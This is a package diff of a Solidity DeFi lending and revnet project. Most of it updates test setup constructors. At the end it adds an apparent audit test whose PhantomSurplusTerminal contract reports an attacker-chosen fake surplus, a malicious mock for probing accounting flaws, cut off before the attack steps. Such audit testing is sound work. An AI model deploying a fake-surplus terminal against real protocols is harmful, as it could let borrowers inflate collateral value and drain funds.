@rev-net/core-v6 0.0.30 → 0.0.31
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/USER_JOURNEYS.md +11 -0
- package/package.json +8 -8
- package/script/Deploy.s.sol +4 -1
- package/src/REVDeployer.sol +4 -2
- package/src/REVLoans.sol +81 -59
- package/src/REVOwner.sol +40 -11
- package/src/interfaces/IREVLoans.sol +5 -0
- package/test/REV.integrations.t.sol +10 -1
- package/test/REVAutoIssuanceFuzz.t.sol +10 -1
- package/test/REVDeployerRegressions.t.sol +12 -1
- package/test/REVInvincibility.t.sol +21 -2
- package/test/REVLifecycle.t.sol +12 -1
- package/test/REVLoans.invariants.t.sol +12 -1
- package/test/REVLoansAttacks.t.sol +12 -1
- package/test/REVLoansFeeRecovery.t.sol +12 -1
- package/test/REVLoansFindings.t.sol +12 -1
- package/test/REVLoansRegressions.t.sol +12 -1
- package/test/REVLoansSourceFeeRecovery.t.sol +12 -1
- package/test/REVLoansSourced.t.sol +12 -1
- package/test/REVLoansUnSourced.t.sol +12 -1
- package/test/TestBurnHeldTokens.t.sol +12 -1
- package/test/TestCEIPattern.t.sol +12 -1
- package/test/TestCashOutCallerValidation.t.sol +13 -2
- package/test/TestConversionDocumentation.t.sol +12 -1
- package/test/TestCrossCurrencyReclaim.t.sol +12 -1
- package/test/TestCrossSourceReallocation.t.sol +12 -1
- package/test/TestERC2771MetaTx.t.sol +12 -1
- package/test/TestEmptyBuybackSpecs.t.sol +12 -1
- package/test/TestFlashLoanSurplus.t.sol +12 -1
- package/test/TestHiddenTokens.t.sol +12 -1
- package/test/TestHookArrayOOB.t.sol +12 -1
- package/test/TestLiquidationBehavior.t.sol +12 -1
- package/test/TestLoanSourceRotation.t.sol +12 -1
- package/test/TestLoansCashOutDelay.t.sol +12 -1
- package/test/TestLongTailEconomics.t.sol +12 -1
- package/test/TestLowFindings.t.sol +12 -1
- package/test/TestMixedFixes.t.sol +12 -1
- package/test/TestPermit2Signatures.t.sol +12 -1
- package/test/TestReallocationSandwich.t.sol +12 -1
- package/test/TestRevnetRegressions.t.sol +14 -2
- package/test/TestSplitWeightAdjustment.t.sol +12 -1
- package/test/TestSplitWeightE2E.t.sol +14 -1
- package/test/TestSplitWeightFork.t.sol +14 -1
- package/test/TestStageTransitionBorrowable.t.sol +12 -1
- package/test/TestSwapTerminalPermission.t.sol +12 -1
- package/test/TestUint112Overflow.t.sol +12 -1
- package/test/TestZeroAmountLoanGuard.t.sol +12 -1
- package/test/TestZeroRepayment.t.sol +12 -1
- package/test/audit/CodexPhantomSurplusTerminal.t.sol +367 -0
- package/test/audit/LoanIdOverflowGuard.t.sol +12 -1
- package/test/audit/NemesisOperatorDelegation.t.sol +12 -1
- package/test/fork/ForkTestBase.sol +14 -1
- package/test/mock/MockBuybackCashOutRecorder.sol +2 -0
- package/test/mock/MockBuybackDataHook.sol +3 -1
- package/test/mock/MockBuybackDataHookMintPath.sol +2 -0
- package/test/mock/MockSuckerRegistry.sol +17 -0
- package/test/regression/TestBurnPermissionRequired.t.sol +12 -1
- package/test/regression/TestCashOutBuybackFeeLeak.t.sol +14 -1
- package/test/regression/TestCrossRevnetLiquidation.t.sol +12 -1
- package/test/regression/TestCumulativeLoanCounter.t.sol +12 -1
- package/test/regression/TestLiquidateGapHandling.t.sol +12 -1
- package/test/regression/TestZeroPriceFeed.t.sol +12 -1
|
@@ -32,6 +32,8 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
|
|
|
32
32
|
import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
|
|
33
33
|
import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
|
|
34
34
|
import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
|
|
35
|
+
import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
36
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
35
37
|
import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
|
|
36
38
|
import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
|
|
37
39
|
import {IJBRulesetDataHook} from "@bananapus/core-v6/src/interfaces/IJBRulesetDataHook.sol";
|
|
@@ -42,6 +44,8 @@ import {JB721TierConfig} from "@bananapus/721-hook-v6/src/structs/JB721TierConfi
|
|
|
42
44
|
import {JB721TierConfigFlags} from "@bananapus/721-hook-v6/src/structs/JB721TierConfigFlags.sol";
|
|
43
45
|
import {JB721InitTiersConfig} from "@bananapus/721-hook-v6/src/structs/JB721InitTiersConfig.sol";
|
|
44
46
|
import {IJB721TokenUriResolver} from "@bananapus/721-hook-v6/src/interfaces/IJB721TokenUriResolver.sol";
|
|
47
|
+
import "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
48
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
45
49
|
import {REVDeploy721TiersHookConfig} from "../src/structs/REVDeploy721TiersHookConfig.sol";
|
|
46
50
|
import {REVCroptopAllowedPost} from "../src/structs/REVCroptopAllowedPost.sol";
|
|
47
51
|
import {REVEmpty721Config} from "./helpers/REVEmpty721Config.sol";
|
|
@@ -66,6 +70,7 @@ import {StateLibrary} from "@uniswap/v4-core/src/libraries/StateLibrary.sol";
|
|
|
66
70
|
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
|
|
67
71
|
import {REVOwner} from "../src/REVOwner.sol";
|
|
68
72
|
import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
|
|
73
|
+
import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
|
|
69
74
|
|
|
70
75
|
/// @notice Helper that adds liquidity to and swaps on a V4 pool via the unlock/callback pattern.
|
|
71
76
|
contract LiquidityHelper is IUnlockCallback {
|
|
@@ -294,7 +299,14 @@ contract TestSplitWeightFork is TestBaseWorkflow {
|
|
|
294
299
|
SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
|
|
295
300
|
HOOK_STORE = new JB721TiersHookStore();
|
|
296
301
|
EXAMPLE_HOOK = new JB721TiersHook(
|
|
297
|
-
jbDirectory(),
|
|
302
|
+
jbDirectory(),
|
|
303
|
+
jbPermissions(),
|
|
304
|
+
jbPrices(),
|
|
305
|
+
jbRulesets(),
|
|
306
|
+
HOOK_STORE,
|
|
307
|
+
jbSplits(),
|
|
308
|
+
IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
|
|
309
|
+
multisig()
|
|
298
310
|
);
|
|
299
311
|
ADDRESS_REGISTRY = new JBAddressRegistry();
|
|
300
312
|
HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
|
|
@@ -323,6 +335,7 @@ contract TestSplitWeightFork is TestBaseWorkflow {
|
|
|
323
335
|
|
|
324
336
|
LOANS_CONTRACT = new REVLoans({
|
|
325
337
|
controller: jbController(),
|
|
338
|
+
suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
|
|
326
339
|
revId: FEE_PROJECT_ID,
|
|
327
340
|
owner: address(this),
|
|
328
341
|
permit2: permit2(),
|
|
@@ -31,11 +31,14 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
|
|
|
31
31
|
import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
|
|
32
32
|
import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
|
|
33
33
|
import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
|
|
34
|
+
import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
35
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
34
36
|
import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
|
|
35
37
|
import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
|
|
36
38
|
import {REVEmpty721Config} from "./helpers/REVEmpty721Config.sol";
|
|
37
39
|
import {REVOwner} from "../src/REVOwner.sol";
|
|
38
40
|
import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
|
|
41
|
+
import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
|
|
39
42
|
|
|
40
43
|
/// @notice Documents and verifies that stage transitions change the borrowable amount for the same collateral.
|
|
41
44
|
/// This is by design: loan value tracks the current bonding curve parameters (cashOutTaxRate),
|
|
@@ -138,7 +141,14 @@ contract TestStageTransitionBorrowable is TestBaseWorkflow {
|
|
|
138
141
|
SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
|
|
139
142
|
HOOK_STORE = new JB721TiersHookStore();
|
|
140
143
|
EXAMPLE_HOOK = new JB721TiersHook(
|
|
141
|
-
jbDirectory(),
|
|
144
|
+
jbDirectory(),
|
|
145
|
+
jbPermissions(),
|
|
146
|
+
jbPrices(),
|
|
147
|
+
jbRulesets(),
|
|
148
|
+
HOOK_STORE,
|
|
149
|
+
jbSplits(),
|
|
150
|
+
IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
|
|
151
|
+
multisig()
|
|
142
152
|
);
|
|
143
153
|
ADDRESS_REGISTRY = new JBAddressRegistry();
|
|
144
154
|
HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
|
|
@@ -146,6 +156,7 @@ contract TestStageTransitionBorrowable is TestBaseWorkflow {
|
|
|
146
156
|
MOCK_BUYBACK = new MockBuybackDataHook();
|
|
147
157
|
LOANS_CONTRACT = new REVLoans({
|
|
148
158
|
controller: jbController(),
|
|
159
|
+
suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
|
|
149
160
|
revId: FEE_PROJECT_ID,
|
|
150
161
|
owner: address(this),
|
|
151
162
|
permit2: permit2(),
|
|
@@ -33,11 +33,14 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
|
|
|
33
33
|
import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
|
|
34
34
|
import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
|
|
35
35
|
import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
|
|
36
|
+
import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
37
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
36
38
|
import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
|
|
37
39
|
import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
|
|
38
40
|
import {REVEmpty721Config} from "./helpers/REVEmpty721Config.sol";
|
|
39
41
|
import {REVOwner} from "../src/REVOwner.sol";
|
|
40
42
|
import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
|
|
43
|
+
import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
|
|
41
44
|
|
|
42
45
|
/// @notice Tests for default operator permissions including SET_ROUTER_TERMINAL.
|
|
43
46
|
/// Verifies that all default split operator permissions are granted correctly.
|
|
@@ -79,7 +82,14 @@ contract TestSwapTerminalPermission is TestBaseWorkflow {
|
|
|
79
82
|
SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
|
|
80
83
|
HOOK_STORE = new JB721TiersHookStore();
|
|
81
84
|
EXAMPLE_HOOK = new JB721TiersHook(
|
|
82
|
-
jbDirectory(),
|
|
85
|
+
jbDirectory(),
|
|
86
|
+
jbPermissions(),
|
|
87
|
+
jbPrices(),
|
|
88
|
+
jbRulesets(),
|
|
89
|
+
HOOK_STORE,
|
|
90
|
+
jbSplits(),
|
|
91
|
+
IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
|
|
92
|
+
multisig()
|
|
83
93
|
);
|
|
84
94
|
ADDRESS_REGISTRY = new JBAddressRegistry();
|
|
85
95
|
HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
|
|
@@ -87,6 +97,7 @@ contract TestSwapTerminalPermission is TestBaseWorkflow {
|
|
|
87
97
|
MOCK_BUYBACK = new MockBuybackDataHook();
|
|
88
98
|
LOANS_CONTRACT = new REVLoans({
|
|
89
99
|
controller: jbController(),
|
|
100
|
+
suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
|
|
90
101
|
revId: FEE_PROJECT_ID,
|
|
91
102
|
owner: address(this),
|
|
92
103
|
permit2: permit2(),
|
|
@@ -38,10 +38,13 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
|
|
|
38
38
|
import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
|
|
39
39
|
import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
|
|
40
40
|
import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
|
|
41
|
+
import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
42
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
41
43
|
import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
|
|
42
44
|
import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
|
|
43
45
|
import {REVOwner} from "../src/REVOwner.sol";
|
|
44
46
|
import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
|
|
47
|
+
import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
|
|
45
48
|
|
|
46
49
|
/// @title TestUint112Overflow
|
|
47
50
|
/// @notice Tests for uint112 truncation fix in REVLoans._adjust()
|
|
@@ -91,7 +94,14 @@ contract TestUint112Overflow is TestBaseWorkflow {
|
|
|
91
94
|
SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
|
|
92
95
|
HOOK_STORE = new JB721TiersHookStore();
|
|
93
96
|
EXAMPLE_HOOK = new JB721TiersHook(
|
|
94
|
-
jbDirectory(),
|
|
97
|
+
jbDirectory(),
|
|
98
|
+
jbPermissions(),
|
|
99
|
+
jbPrices(),
|
|
100
|
+
jbRulesets(),
|
|
101
|
+
HOOK_STORE,
|
|
102
|
+
jbSplits(),
|
|
103
|
+
IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
|
|
104
|
+
multisig()
|
|
95
105
|
);
|
|
96
106
|
ADDRESS_REGISTRY = new JBAddressRegistry();
|
|
97
107
|
HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
|
|
@@ -106,6 +116,7 @@ contract TestUint112Overflow is TestBaseWorkflow {
|
|
|
106
116
|
|
|
107
117
|
LOANS_CONTRACT = new REVLoans({
|
|
108
118
|
controller: jbController(),
|
|
119
|
+
suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
|
|
109
120
|
revId: FEE_PROJECT_ID,
|
|
110
121
|
owner: address(this),
|
|
111
122
|
permit2: permit2(),
|
|
@@ -37,11 +37,14 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
|
|
|
37
37
|
import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
|
|
38
38
|
import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
|
|
39
39
|
import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
|
|
40
|
+
import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
41
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
40
42
|
import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
|
|
41
43
|
import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
|
|
42
44
|
import {REVOwner} from "../src/REVOwner.sol";
|
|
43
45
|
import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
|
|
44
46
|
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
|
|
47
|
+
import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
|
|
45
48
|
|
|
46
49
|
/// @notice Tests for PR #105: zero-amount loan guard and mint-before-adjust ordering.
|
|
47
50
|
contract TestZeroAmountLoanGuard is TestBaseWorkflow {
|
|
@@ -87,7 +90,14 @@ contract TestZeroAmountLoanGuard is TestBaseWorkflow {
|
|
|
87
90
|
SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
|
|
88
91
|
HOOK_STORE = new JB721TiersHookStore();
|
|
89
92
|
EXAMPLE_HOOK = new JB721TiersHook(
|
|
90
|
-
jbDirectory(),
|
|
93
|
+
jbDirectory(),
|
|
94
|
+
jbPermissions(),
|
|
95
|
+
jbPrices(),
|
|
96
|
+
jbRulesets(),
|
|
97
|
+
HOOK_STORE,
|
|
98
|
+
jbSplits(),
|
|
99
|
+
IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
|
|
100
|
+
multisig()
|
|
91
101
|
);
|
|
92
102
|
ADDRESS_REGISTRY = new JBAddressRegistry();
|
|
93
103
|
HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
|
|
@@ -100,6 +110,7 @@ contract TestZeroAmountLoanGuard is TestBaseWorkflow {
|
|
|
100
110
|
.addPriceFeedFor(0, uint32(uint160(address(TOKEN))), uint32(uint160(JBConstants.NATIVE_TOKEN)), priceFeed);
|
|
101
111
|
LOANS_CONTRACT = new REVLoans({
|
|
102
112
|
controller: jbController(),
|
|
113
|
+
suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
|
|
103
114
|
revId: FEE_PROJECT_ID,
|
|
104
115
|
owner: address(this),
|
|
105
116
|
permit2: permit2(),
|
|
@@ -38,10 +38,13 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
|
|
|
38
38
|
import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
|
|
39
39
|
import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
|
|
40
40
|
import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
|
|
41
|
+
import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
42
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
41
43
|
import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
|
|
42
44
|
import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
|
|
43
45
|
import {REVOwner} from "../src/REVOwner.sol";
|
|
44
46
|
import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
|
|
47
|
+
import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
|
|
45
48
|
|
|
46
49
|
/// @notice Tests for PR #16: zero repayment prevention.
|
|
47
50
|
contract TestZeroRepayment is TestBaseWorkflow {
|
|
@@ -87,7 +90,14 @@ contract TestZeroRepayment is TestBaseWorkflow {
|
|
|
87
90
|
SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
|
|
88
91
|
HOOK_STORE = new JB721TiersHookStore();
|
|
89
92
|
EXAMPLE_HOOK = new JB721TiersHook(
|
|
90
|
-
jbDirectory(),
|
|
93
|
+
jbDirectory(),
|
|
94
|
+
jbPermissions(),
|
|
95
|
+
jbPrices(),
|
|
96
|
+
jbRulesets(),
|
|
97
|
+
HOOK_STORE,
|
|
98
|
+
jbSplits(),
|
|
99
|
+
IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
|
|
100
|
+
multisig()
|
|
91
101
|
);
|
|
92
102
|
ADDRESS_REGISTRY = new JBAddressRegistry();
|
|
93
103
|
HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
|
|
@@ -100,6 +110,7 @@ contract TestZeroRepayment is TestBaseWorkflow {
|
|
|
100
110
|
.addPriceFeedFor(0, uint32(uint160(address(TOKEN))), uint32(uint160(JBConstants.NATIVE_TOKEN)), priceFeed);
|
|
101
111
|
LOANS_CONTRACT = new REVLoans({
|
|
102
112
|
controller: jbController(),
|
|
113
|
+
suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
|
|
103
114
|
revId: FEE_PROJECT_ID,
|
|
104
115
|
owner: address(this),
|
|
105
116
|
permit2: permit2(),
|
|
@@ -0,0 +1,367 @@
|
|
|
1
|
+
// SPDX-License-Identifier: MIT
|
|
2
|
+
pragma solidity 0.8.28;
|
|
3
|
+
|
|
4
|
+
import "forge-std/Test.sol";
|
|
5
|
+
import "@bananapus/core-v6/test/helpers/TestBaseWorkflow.sol";
|
|
6
|
+
import "@bananapus/core-v6/script/helpers/CoreDeploymentLib.sol";
|
|
7
|
+
import "@bananapus/721-hook-v6/script/helpers/Hook721DeploymentLib.sol";
|
|
8
|
+
import "@bananapus/suckers-v6/script/helpers/SuckerDeploymentLib.sol";
|
|
9
|
+
import "@croptop/core-v6/script/helpers/CroptopDeploymentLib.sol";
|
|
10
|
+
import "@bananapus/router-terminal-v6/script/helpers/RouterTerminalDeploymentLib.sol";
|
|
11
|
+
import "@croptop/core-v6/src/CTPublisher.sol";
|
|
12
|
+
import "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
|
|
13
|
+
import "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
|
|
14
|
+
import "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
|
|
15
|
+
import "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
|
|
16
|
+
import "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
17
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
18
|
+
import "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
|
|
19
|
+
import "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
|
|
20
|
+
import "@bananapus/buyback-hook-v6/src/interfaces/IJBBuybackHookRegistry.sol";
|
|
21
|
+
import "@bananapus/core-v6/src/interfaces/IJBPermissions.sol";
|
|
22
|
+
import "@bananapus/core-v6/src/interfaces/IJBTerminal.sol";
|
|
23
|
+
import "@bananapus/core-v6/src/interfaces/IJBPayoutTerminal.sol";
|
|
24
|
+
import "@bananapus/core-v6/src/libraries/JBCashOuts.sol";
|
|
25
|
+
import "@bananapus/core-v6/src/libraries/JBConstants.sol";
|
|
26
|
+
import "@bananapus/core-v6/src/structs/JBAccountingContext.sol";
|
|
27
|
+
import "@bananapus/core-v6/src/structs/JBPermissionsData.sol";
|
|
28
|
+
import "@bananapus/core-v6/src/structs/JBTerminalConfig.sol";
|
|
29
|
+
import "@bananapus/core-v6/src/structs/JBSplit.sol";
|
|
30
|
+
import "@bananapus/core-v6/src/structs/JBRuleset.sol";
|
|
31
|
+
import "@bananapus/core-v6/src/structs/JBPayHookSpecification.sol";
|
|
32
|
+
import "@bananapus/permission-ids-v6/src/JBPermissionIds.sol";
|
|
33
|
+
import "@bananapus/suckers-v6/src/structs/JBSuckerDeployerConfig.sol";
|
|
34
|
+
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
|
|
35
|
+
|
|
36
|
+
import {MockBuybackDataHook} from "../mock/MockBuybackDataHook.sol";
|
|
37
|
+
import {REVEmpty721Config} from "../helpers/REVEmpty721Config.sol";
|
|
38
|
+
import {REVDeployer} from "../../src/REVDeployer.sol";
|
|
39
|
+
import {REVLoans} from "../../src/REVLoans.sol";
|
|
40
|
+
import {REVOwner} from "../../src/REVOwner.sol";
|
|
41
|
+
import {IREVLoans} from "../../src/interfaces/IREVLoans.sol";
|
|
42
|
+
import {IREVDeployer} from "../../src/interfaces/IREVDeployer.sol";
|
|
43
|
+
import {REVConfig} from "../../src/structs/REVConfig.sol";
|
|
44
|
+
import {REVDescription} from "../../src/structs/REVDescription.sol";
|
|
45
|
+
import {REVLoanSource} from "../../src/structs/REVLoanSource.sol";
|
|
46
|
+
import {REVStageConfig} from "../../src/structs/REVStageConfig.sol";
|
|
47
|
+
import {REVAutoIssuance} from "../../src/structs/REVStageConfig.sol";
|
|
48
|
+
import {REVSuckerDeploymentConfig} from "../../src/structs/REVSuckerDeploymentConfig.sol";
|
|
49
|
+
import {MockSuckerRegistry} from "../mock/MockSuckerRegistry.sol";
|
|
50
|
+
|
|
51
|
+
contract PhantomSurplusTerminal is ERC165, IJBPayoutTerminal {
|
|
52
|
+
uint256 public fakeSurplus;
|
|
53
|
+
|
|
54
|
+
function setFakeSurplus(uint256 newFakeSurplus) external {
|
|
55
|
+
fakeSurplus = newFakeSurplus;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
function currentSurplusOf(uint256, address[] calldata, uint256, uint256) external view override returns (uint256) {
|
|
59
|
+
return fakeSurplus;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
function accountingContextForTokenOf(uint256, address) external pure override returns (JBAccountingContext memory) {
|
|
63
|
+
return JBAccountingContext({
|
|
64
|
+
token: JBConstants.NATIVE_TOKEN, decimals: 18, currency: uint32(uint160(JBConstants.NATIVE_TOKEN))
|
|
65
|
+
});
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
function accountingContextsOf(uint256) external pure override returns (JBAccountingContext[] memory) {
|
|
69
|
+
return new JBAccountingContext[](0);
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
function addAccountingContextsFor(uint256, JBAccountingContext[] calldata) external override {}
|
|
73
|
+
|
|
74
|
+
function addToBalanceOf(
|
|
75
|
+
uint256,
|
|
76
|
+
address,
|
|
77
|
+
uint256,
|
|
78
|
+
bool,
|
|
79
|
+
string calldata,
|
|
80
|
+
bytes calldata
|
|
81
|
+
)
|
|
82
|
+
external
|
|
83
|
+
payable
|
|
84
|
+
override
|
|
85
|
+
{}
|
|
86
|
+
|
|
87
|
+
function migrateBalanceOf(uint256, address, IJBTerminal) external pure override returns (uint256) {
|
|
88
|
+
return 0;
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
function pay(
|
|
92
|
+
uint256,
|
|
93
|
+
address,
|
|
94
|
+
uint256,
|
|
95
|
+
address,
|
|
96
|
+
uint256,
|
|
97
|
+
string calldata,
|
|
98
|
+
bytes calldata
|
|
99
|
+
)
|
|
100
|
+
external
|
|
101
|
+
payable
|
|
102
|
+
override
|
|
103
|
+
returns (uint256)
|
|
104
|
+
{
|
|
105
|
+
return 0;
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
function previewPayFor(
|
|
109
|
+
uint256,
|
|
110
|
+
address,
|
|
111
|
+
uint256,
|
|
112
|
+
address,
|
|
113
|
+
bytes calldata
|
|
114
|
+
)
|
|
115
|
+
external
|
|
116
|
+
pure
|
|
117
|
+
override
|
|
118
|
+
returns (JBRuleset memory, uint256, uint256, JBPayHookSpecification[] memory)
|
|
119
|
+
{
|
|
120
|
+
JBRuleset memory ruleset;
|
|
121
|
+
return (ruleset, 0, 0, new JBPayHookSpecification[](0));
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
function sendPayoutsOf(uint256, address, uint256, uint256, uint256) external pure override returns (uint256) {
|
|
125
|
+
return 0;
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
function supportsInterface(bytes4 interfaceId) public view override(ERC165, IERC165) returns (bool) {
|
|
129
|
+
return interfaceId == type(IJBTerminal).interfaceId || interfaceId == type(IJBPayoutTerminal).interfaceId
|
|
130
|
+
|| super.supportsInterface(interfaceId);
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
function useAllowanceOf(
|
|
134
|
+
uint256,
|
|
135
|
+
address,
|
|
136
|
+
uint256,
|
|
137
|
+
uint256,
|
|
138
|
+
uint256,
|
|
139
|
+
address payable,
|
|
140
|
+
address payable,
|
|
141
|
+
string calldata
|
|
142
|
+
)
|
|
143
|
+
external
|
|
144
|
+
pure
|
|
145
|
+
override
|
|
146
|
+
returns (uint256)
|
|
147
|
+
{
|
|
148
|
+
return 0;
|
|
149
|
+
}
